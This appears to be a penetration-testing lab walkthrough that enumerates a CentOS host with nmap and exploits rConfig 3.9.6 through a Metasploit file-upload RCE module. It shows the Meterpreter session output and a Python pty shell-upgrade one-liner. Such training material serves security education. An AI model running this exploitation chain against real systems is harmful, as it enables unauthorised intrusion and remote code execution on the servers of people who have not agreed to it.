Infiltrating Unix/Linux

🐧 Infiltrating Unix/Linux

🌐 Why Focus on Unix/Linux?

• Over 70% of websites run on Unix-based systems.

• Commonly used for hosting web applications on-premises.

• Gaining a shell allows potential pivoting within the network.

---

🧠 Key Considerations Before Attacking

Ask yourself:

• What Linux distribution is running?

• What shells & languages are available (e.g., bash, python, php)?

• What is the system’s role (web server, database, etc.)?

• What applications are hosted?

• Are there known vulnerabilities?

---

🔍 Enumeration with Nmap

nmap -sC -sV 10.129.201.101

🧾 Services Detected:

• FTP on port 21: vsftpd 2.0.8 or later

• SSH on port 22: OpenSSH 7.4

• HTTP on port 80 & HTTPS on 443: Apache/2.4.6 (CentOS) + PHP/7.2.34

• MySQL on port 3306

• rpcbind on port 111

• System is likely CentOS

---

💻 Web App Analysis

• Visited http(s)://10.129.201.101 in a browser

• Discovered rConfig 3.9.6 (network device config tool)

---

📚 Vulnerability Research

Search for:

rConfig 3.9.6 vulnerability

• Discovered RCE vulnerabilities

• Use Metasploit to search:

msf6 > search rconfig

Found Modules:

exploit/linux/http/rconfig_ajaxarchivefiles_rce
exploit/unix/webapp/rconfig_install_cmd_exec

If a module isn’t listed, download from GitHub:

locate exploits
# Target path example:
# /usr/share/metasploit-framework/modules/exploits/linux/http/

Place .rb exploit file into the correct Metasploit folder.

/usr/share/metasploit-framework/modules/exploits/linux/http/

---

🎯 Exploiting rConfig with Metasploit

Load the Exploit:

msf6 > use exploit/linux/http/rconfig_vendors_auth_file_upload_rce

Run the Exploit:

msf6 exploit(...) > exploit

Output:

[+] 3.9.6 of rConfig found!
[+] Logged in successfully
[*] Uploading file 'payload.php'
[*] Triggering the payload...
[*] Meterpreter session opened!

---

🖥️ Interacting with the Shell

meterpreter > shell

• Non-TTY shell with limited commands

---

🐍 Spawning a TTY Shell with Python

Check if Python is available:

which python

Spawn TTY shell:

python -c 'import pty; pty.spawn("/bin/sh")'

Example Output:

sh-4.2$ whoami
apache